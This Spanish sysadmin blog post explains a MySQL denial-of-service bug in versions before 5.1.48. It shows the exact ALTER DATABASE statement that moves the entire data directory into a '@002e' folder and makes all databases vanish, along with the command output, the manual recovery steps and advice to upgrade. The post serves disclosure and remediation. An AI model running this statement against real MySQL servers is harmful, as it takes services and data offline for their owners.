systemadmin.es » DBA » Denegación de servicio en MySQL

Denegación de servicio en MySQL

Mediante un ALTER DATABASE es posible mover todos los datos del datadir a un nuevo punto, haciendo desaparecer todas las bases de datos.

Vamos a suponer las siguientes base de datos:

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| cacti              |
| jordi              |
| mysql              |
| nagios             |
| nareto             |
| racks              |
| racktables         |
| systemadminWP      |
| wikidb             |
+--------------------+
10 rows in set (0.00 sec)

A continuación ejecutamos el ALTER DATABASE descrito en el bug 53804:

mysql> alter database `#mysql50#.` upgrade data directory name;
ERROR 7 (HY000): Error on rename of '././@002e' to './@002e/@002e' (Errcode: 22)

Veremos que desaparecen las bases de datos:

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| .                  |
+--------------------+
2 rows in set (0.00 sec)

Si nos vamos al datadir veremos que se nos han movido todos los datos a un directorio llamado @002e (equivalente al punto que hemos añadido después de #mysql50#):

# ls -la
total 28
drwx------  3 mysql  mysql 16384 Jun 30 07:49 .
drwxr-xr-x 35 jprats root   4096 May 28 15:45 ..
drwx------ 11 mysql  mysql  4096 Jun 30 07:49 @002e

Si accedemos a dicho directorio veremos que allí tenemos los datos:

# cd \@002e/
# ls -la
total 29148
drwx------ 11 mysql mysql     4096 Jun 30 07:49 .
drwx------  3 mysql mysql    16384 Jun 30 07:49 ..
drwx------  2 mysql mysql     4096 Jan 22  2009 cacti
-rw-rw----  1 mysql mysql       65 Jun 30 07:49 db.opt
-rw-rw----  1 mysql mysql 18874368 Jun 30 07:43 ibdata1
-rw-rw----  1 mysql mysql  5242880 Jun 30 07:46 ib_logfile0
-rw-rw----  1 mysql mysql  5242880 Jun 30 07:46 ib_logfile1
drwx------  2 mysql mysql     4096 May 18 11:21 jordi
drwx------  2 mysql mysql     4096 Jan 22  2009 mysql
srwxrwxrwx  1 mysql mysql        0 Jun 30 07:46 mysql5051b.sock
drwx------  2 mysql mysql    12288 Mar 29 15:24 nagios
drwx------  2 mysql mysql     4096 Apr 19 08:00 nareto
-rw-rw----  1 mysql mysql   340251 Jun 30 07:46 demo.systemadmin.es.err
-rw-rw----  1 mysql mysql     1709 Jan 14  2009 demo.systemadmin.es.err-old
-rw-rw----  1 mysql mysql        5 Jun 30 07:46 demo.systemadmin.es.pid
drwx------  2 mysql mysql     4096 Apr 16  2009 racks
drwx------  2 mysql mysql     4096 Apr 16  2009 racktables
drwx------  2 mysql mysql     4096 Jun 22 15:04 systemadminWP
drwx------  2 mysql mysql     4096 Jan 22  2009 wikidb

El problema grave es que mueve todo lo que se encentra dentro del datadir, incluso los logs o el socket si se encuentra allí o incluso si hay cualquier otro fichero que no pertenezca directamente al MySQL.

Volviendo dejar todo a su sitio volveremos a tener el MySQL usable:

[jprats@quars @002e]# mv * ..
[jprats@quars @002e]# cd ..
[jprats@quars mysql]# rmdir \@002e/

Al conectar de nuevo veremos todas las bases de datos en su sitio:

[jprats@quars mysql]# mysql
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 5
Server version: 5.1.30-debug Source distribution

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| cacti              |
| jordi              |
| mysql              |
| nagios             |
| nareto             |
| racks              |
| racktables         |
| systemadminWP      |
| wikidb             |
+--------------------+
10 rows in set (0.00 sec)

Las versiones afectadas son las anteriores a la 5.1.48, por lo que es conveniente actualizar a la última versión de MySQL para evitar este problema.

Relacionados

Imprimir Imprimir

Deja un comentario:

XHTML - Tags permitidos:<a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>